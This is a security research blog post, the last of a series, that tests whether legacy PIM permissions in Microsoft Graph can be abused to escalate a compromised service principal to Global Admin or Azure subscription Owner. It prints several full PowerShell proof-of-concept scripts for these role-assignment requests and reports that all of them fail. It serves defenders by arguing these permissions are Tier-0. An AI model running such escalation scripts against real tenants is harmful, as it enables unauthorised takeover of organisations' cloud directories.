7 minute read

Investigating legacy permissions.

Abusing PIM-related application permissions in Microsoft Graph - Part 4

Introduction

In the first and second part of this series, we respectively discussed how application permissions related to eligible and active assignments in PIM can be abused to escalate to Global Admin. In the third part, we discussed how additional permissions can be abused to disable constraints put on role assignments, eligibilities and activations.

In this final part of the series, we will discuss remaining application permissions used in older versions of PIM.

Overview of the series

This series, which discusses the abuse of PIM-related application permissions in Microsoft Graph, is structured as follows:

What permissions are addressed in this post?

This post discusses the following MS Graph application permissions:

The documentation describing PIM API history informs us that the PIM API has had quite a few iterations since its initial release. Currently in its third version, the documentation informs us that Iteration 1 was deprecated in June 2021, while Iteration 2 will eventually be deprecated in the future.

So far in this series, we have investigated application permissions used in Iteration 3 of the PIM service. The most observant readers might have noticed that the remaining PrivilegedAccess.ReadWrite.AzureAD and PrivilegedAccess.ReadWrite.AzureResources permissions target the same backend resource (i.e. PrivilegedAccess) as the PrivilegedAccess.ReadWrite.AzureADGroup permission, which we discussed in part 1 of the series. Therefore, it would be natural for the two remaining permissions to be usable with PIM Iteration 3.

Testing with PIM Iteration 3

As explained in the PIM documentation, Azure role assignments in PIM Iteration 3 are built on top of the Azure Resource Manager (ARM) API. Thus, using the PrivilegedAccess.ReadWrite.AzureResources permission in PIM Iteration 3 is not possible.

Regarding PrivilegedAccess.ReadWrite.AzureAD, the scope of the permission (i.e. AzureAD) indicates that it should provide access to Entra (previously Azure AD) role assignments via PIM. By re-using the PowerShell code we created to assign Entra roles in previous parts of this series, we can easily test if the permission can be used in Iteration 3 of the PIM service. Here is an example with a code snippet creating an active Entra role assignment from part 1:

# Set SP info
$tid = ''
$appId = ''
$password = ''

# Set user info
$userId = ''

# Acquire MS Graph access token
$securePassword = ConvertTo-SecureString -String $password -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $appId, $securePassword
Connect-AzAccount -ServicePrincipal -TenantId $tid -Credential $credential
$token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token

# Request active PIM role assignment 
$roleDefinitionId = '62e90394-69f5-4237-9190-012177145e10' # current: Global Admin (replace with any role Id)
$yesterday = (get-date).AddDays(-1).ToString("yyyy-MM-ddTHH:mm:ss.000Z")
$uri = 'https://graph.microsoft.com/beta/roleManagement/directory/roleAssignmentScheduleRequests'
$headers = @{
    'Authorization'= "Bearer $token"
    'Content-Type' = 'application/json'
}

$activeAssignment = @{
    action = 'adminAssign'
    justification = 'PoC'
    roleDefinitionId = $roleDefinitionId
    directoryScopeId = '/'
    principalId = $userId
    scheduleInfo = @{
        startDateTime = $yesterday
        expiration = @{
            type = 'NoExpiration'
        }
    }
}

$body = ConvertTo-Json -InputObject $activeAssignment
$response = Invoke-WebRequest -Method Post -Uri $uri -Headers $headers -Body $body
$response

Unfortunately, all attempts to PIM-3 endpoints return an error message similar to the following, which indicates that the PrivilegedAccess.ReadWrite.AzureAD permission is not in the list of authorized application permissions for the endpoints in that iteration of the service:

Testing with PIM Iteration 2

The MS Graph documentation describing the use of PIM Iteration 2 contains explicit information about the remaining application permissions. This is definitely interesting! Oddly enough, the documentation indicates that both permissions seem limited to delegated workflows using a work or school account, while pure application-based workflows do not seem supported:

Regardless of what the documentation states, let’s test if the PrivilegedAccess.ReadWrite.AzureAD and PrivilegedAccess.ReadWrite.AzureResources permissions can somehow be abused via Iteration 2 of the PIM API. Similar to the scenarios in other parts of this series, we will assume we have compromised a service principal with the remaining permissions, and that we control an unprivileged user account with no assigned Entra role:

The PowerShell code leveraging the “Harmless app” to assign the Global Admin role to our “Harmless user account” with Iteration 2 of the PIM API is as follows:

## Set SP info
$tid = ''
$appid = ''
$password = ''

# Set user info
$userId = ''

# Acquire MS Graph access token
$securePassword = ConvertTo-SecureString -String $password -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $appId, $securePassword
Connect-AzAccount -ServicePrincipal -TenantId $tid -Credential $credential
$token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token

# Request active Entra role assignment
$roleDefinitionId = '62e90394-69f5-4237-9190-012177145e10' # current: Global Admin (replace with any role Id)
$yesterday = (get-date).AddDays(-1).ToString("yyyy-MM-ddTHH:mm:ss.000Z")
$inOneYear = (get-date).AddYears(1).ToString("yyyy-MM-ddTHH:mm:ss.000Z")

$uri = 'https://graph.microsoft.com/beta/privilegedAccess/aadRoles/roleAssignmentRequests'
$headers = @{
    'Authorization'= "Bearer $token"
    'Content-Type' = 'application/json'
}

$eligibleAssignment = @{
    type = 'AdminAdd'
    reason = 'PoC'
    roleDefinitionId = $roleDefinitionId
    resourceId = $tid
    subjectId = $userId
    assignmentState = 'Active'
    scheduleInfo = @{
        startDateTime = $yesterday
        endDateTime = $inOneYear
        type = 'Once'
    }
}

$body = ConvertTo-Json -InputObject $eligibleAssignment
$response = Invoke-WebRequest -Method Post -Uri $uri -Headers $headers -Body $body
$response

Similarly, the PowerShell code assigning the Owner role to our “Harmless user account” on an Azure subscription using PIM Iteration 2 is as follows:

## Set SP info
$tid = ''
$appid = ''
$password = ''

# Set user info
$userId = ''

# Set Azure info
$ownerRoleDefinitionId = '8e3af657-a8ff-443c-a75c-2fe8c4bcb635'     
$azureScopeId = '' # ID of subscription, rg, individual resource

# Acquire MS Graph access token
$securePassword = ConvertTo-SecureString -String $password -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $appId, $securePassword
Connect-AzAccount -ServicePrincipal -TenantId $tid -Credential $credential
$token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token

# Request active Azure role assignment
$yesterday = (get-date).AddDays(-1).ToString("yyyy-MM-ddTHH:mm:ss.000Z")
$inOneYear = (get-date).AddYears(1).ToString("yyyy-MM-ddTHH:mm:ss.000Z")

$uri = 'https://graph.microsoft.com/beta/privilegedAccess/azureResources/roleAssignmentRequests'
$headers = @{
    'Authorization'= "Bearer $token"
    'Content-Type' = 'application/json'
}

$eligibleAssignment = @{
    type = 'AdminAdd'
    reason = 'PoC'
    roleDefinitionId = $OwnerRoleDefinitionId
    resourceId = $azureScopeId
    subjectId = $userId
    assignmentState = 'Active'
    scheduleInfo = @{
        startDateTime = $yesterday
        endDateTime = $inOneYear
        type = 'Once'
    }
}

$body = ConvertTo-Json -InputObject $eligibleAssignment
$response = Invoke-WebRequest -Method Post -Uri $uri -Headers $headers -Body $body
$response

For both endpoints, attempting to create a new role assignment in Iteration 2 of the PIM API returns the following error:

This seems to indicate that the use of application permissions is not allowed by Iteration 2 of the PIM APIs. However, as the documentation states, using permissions as delegated was no problem.

Testing with PIM Iteration 1

Despite being deprecated, testing the PrivilegedAccess.ReadWrite.AzureAD and PrivilegedAccess.ReadWrite.AzureResources permissions with Iteration 1 of the PIM API is worth a shot, if they can be abused this way.

As expected however, GET requests to any PIM-1 endpoint return a “403 Forbidden” response with the following error message:

Interesting enough, we could interpret the TenantEnabledInAadRoleMigration error code as an indicator that our tenant has been enrolled for migration to newer iterations of PIM, implying that older tenants created before the deprecation may have not been migrated. However, it is important to note that the above PowerShell code has been tested in a tenant created long before the deprecation of PIM Iteration 1 in June 2021. It is therefore unlikely that tenants with PIM-1 endpoints still enabled exist at all.

When investigating the endpoints further, the use of any HTTP method other than GET returns a “500 Internal Server Error”, indicating that the backend functions handling PIM-1 requests have probably been removed entirely from the code base:

For reference, here is the PowerShell code I used for the base GET request:

## Set SP info
$tid = ''
$appid = ''
$password = ''

# Acquire MS Graph access token
$securePassword = ConvertTo-SecureString -String $password -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $appId, $securePassword
Connect-AzAccount -ServicePrincipal -TenantId $tid -Credential $credential
$token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token

# Request active Entra role assignment
$roleDefinitionId = '62e90394-69f5-4237-9190-012177145e10' # current: Global Admin (replace with any role Id)

$uri = "https://graph.microsoft.com/beta/privilegedRoles/$roleDefinitionId/settings"
$headers = @{
    'Authorization'= "Bearer $token"
    'Content-Type' = 'application/json'
}

$response = Invoke-WebRequest -Method Get -Uri $uri -Headers $headers
$response

Conclusion

Based on the observations described in this post, I have not found a scenario where a compromised service principal with the granted PrivilegedAccess.ReadWrite.AzureAD or PrivilegedAccess.ReadWrite.AzureResources application permission can be abused for privilege escalation. However, I encourage other researchers to verify and dig deeper in those permissions to see if something else is possible.

This concludes our series. I hope it clarified the use of PIM-related application permissions, how they can be abused to escalate to Global Admin, and why they should be classified as Tier-0.